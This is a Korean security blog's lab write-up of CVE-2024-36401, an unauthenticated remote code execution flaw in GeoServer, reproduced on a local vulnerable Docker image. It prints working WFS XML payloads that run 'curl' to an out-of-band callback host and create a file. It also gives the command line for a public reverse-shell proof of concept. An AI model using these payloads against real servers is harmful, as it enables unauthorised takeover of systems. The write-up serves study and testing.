정뾰안 - 정보보안 블로그
CVE-2024-36401(GeoServer RCE 취약점) 본문
CVE-2024-36401 요약
| 취약점 개요 | GeoServer XPath 표현식 주입을 통한 원격 코드 실행 취약점 |
| 취약점 내용 | GeoTools 라이브러리의 속성 이름(Property Name) 처리 과정에서 사용자 입력값을 XPath 표현식으로 부적절하게 해석하여 인증되지 않은 원격 코드 실행 |
| 영향 | 로그인 등 인증 절차 없이 원격에서 임의 코드 실행 |
| 대응 방안 | 안전한 버전 사용 등 |
| CVSS | 9.8 |
| 공개일 | 2024년 7월 1일 |
1. CVE-2024-36401 취약점 설명
CVE-2024-36401는 GeoServer 내부의 GeoTools 라이브러리 연관된 치명적인 원격 코드 실행 취약점이다.
GeoTools는 Java로 개발된 오픈소스 GIS(지리 정보 시스템) 소프트웨어 라이브러리이다. GeoServer는 사용자가 사용하는 웹 서비스이고, GeoServer가 내부에서 지리 데이터를 처리할 때 GeoTools를 호출해서 사용한다.
GeoTools 안에는 데이터를 분류하고 찾는 기능을 수행하는 필터 엔진이 있는데 이 엔진은 사용자로부터 요청을 받을 때 입력된 이름을 XPath(데이터 경로를 찾는 언어)로 해석하도록 설계되어 있다. 이 과정에서 라이브러리가 사용자 입력값을 명령어로 잘못 해석하여 인증 절차 없이도 원격에서 임의 코드를 실행할 수 있게 된 것이다.
(참고) 지도를 웹에 띄우거나 지리 데이터를 처리하는 것은 복잡한 수학적 계산이 필요함
그래서 이를 일일이 코딩하여 사용하지 않고 표준화된 기능을 미리 정의함 -> 그게 바로 GeoTools
영향 받는 버전 및 해결 버전
| 제품명 | 영향 받는 버전 | 해결 버전 |
| GeoServer | 2.24.0(포함) ~ 2.24.4(제외) | 2.24.4 |
| 2.25.0(포함) ~ 2.25.2(제외) | 2.25.2 | |
| ~ 2.23.6(제외) | 2.23.6 |
출처: kisa(https://knvd.krcert.or.kr/detailSecNo.do?IDX=6233)
2. 실습
테스트 환경 및 공격 실습은 깃허브에 공개된 데이터를 사용하여 진행한다.
테스트 환경을 세팅하기 위해서는 PC에 Docker가 먼저 설치되어 있어야 한다. Docker 설치는 본 블로그의 'Docker Desktop 설치' 게시물을 확인하기 바라며, 본 게시물에서는 Docker 설치 과정은 생략하겠다.
Docker Desktop 설치
Docker Desktop 설치
Docker Desktop 설치 ◎ Docker 공식 홈페이지에 가서 설치파일을 다운로드 한다. (https://www.docker.com/)나는 'Download for Windows - AMD64'을 사용했다. Docker: Accelerated Container Application DevelopmentDocker is a platform de
yeongiee.tistory.com
◇ 환경 구성
◎ Docker Desktop을 실행한다.
◎ 도커 허브에서 취약한 GeoServer 환경 이미지를 다운로드 한다. (https://hub.docker.com/r/vulhub/geoserver)
vulhub/geoserver - Docker Image
hub.docker.com

◎ Confirm 클릭

◎ Docker Desktop에서 실행

◎ STATUS가 Running이 되면 준비 완료

◎ 브라우저에서 http://localhost:8080/geoserver/web 접속

◎ localhost(127.0.0.1)은 프록시 툴로 잡기 위해 따로 설정이 필요하다. 나는 간단하게 방화벽 설정으로 해결했다.
(추가 예정. 참고로 마지막 공격 코드 사용할 때는 다른 PC 사용해야 해서 이 단계부터 다른 PC로 하는 것을 권장)
◇ 공격 실습
◎ OAST(Out-of-Band Application Security Testing) 테스트 사이트에 접근해서 왼쪽에 보이는 URL을 복사한다.
복사한 URL : tofixvparpentxgmeebms26bl11mxusv3.oast.fun
나는 https://app.interactsh.com/ 사용했다.

◎ GeoServer 홈페이지에 레이어 미리보기 페이지에 접근해서 아무 이름(tiger:poi 등) 복사
경로 : /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage?3&filter=false

◎ BurpSuite를 실행한 뒤 /geoserver/wfs 경로에 접근한다.

◎ Burp에서 요청 패킷 확인 후 메소드를 GET > POST 로 변경한다.

◎ Content-Type을 application/xml 으로 변경하고 Body에 코드를 삽입한다. 이때 ③번 값은 앞서 GeoServer에서 복사한 이름이고 ④는 OAST 테스트 사이트에서 복사한 URL이다.

POST /geoserver/wfs/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/xml
Content-Length: 384
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'curl tofixvparpentxgmeebms26bl11mxusv3.oast.fun')</wfs:valueReference>
</wfs:GetPropertyValue>
◎ OAST 테스트 사이트에 패킷이 전송된 것을 통해 명령 실행에 성공한 것을 알 수 있다.

◎ 앞의 방법과 동일하게 진행하여 패킷을 변조한다. 이번엔 임의 파일을 생성하는 명령을 넣었다.

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'touch /tmp/yeongiee')</wfs:valueReference>
</wfs:GetPropertyValue>
◎ DockerDesktop로 GeoServer의 /tmp 경로를 확인해보면 명령이 실행되어 파일이 생성된 것을 알 수 있다.

◎ POC 코드를 제공하는 깃허브 페이지에 접속하여 공격 코드를 다운로드 한다.
(https://github.com/bigb0x/CVE-2024-36401/blob/main/cve-2024-36401.py)
CVE-2024-36401/cve-2024-36401.py at main · bigb0x/CVE-2024-36401
POC for CVE-2024-36401. This POC will attempt to establish a reverse shell from the vlun targets. - bigb0x/CVE-2024-36401
github.com

◎ 이 코드는 GeoServer의 특정 서비스 요청(WFS) 시 취약한 파라미터에 공격 명령어를 삽입하여 대상 서버가 공격자의 PC로 역접속(Reverse Shell)하게 만들어 원격에서 시스템 제어권을 탈취하는 코드이다.
◎ 공격 코드를 실행한다.
python cve-2024-36401.py -u [GeoServer URL] -ip [내 IP] -port [임의의 통신포트] -type [레이어이름]

◎ 쉘 연결되어 명령 실행이 가능하다.

'CVE' 카테고리의 다른 글
| CVE-2025-55182 (React2Shell) (1) | 2025.12.31 |
|---|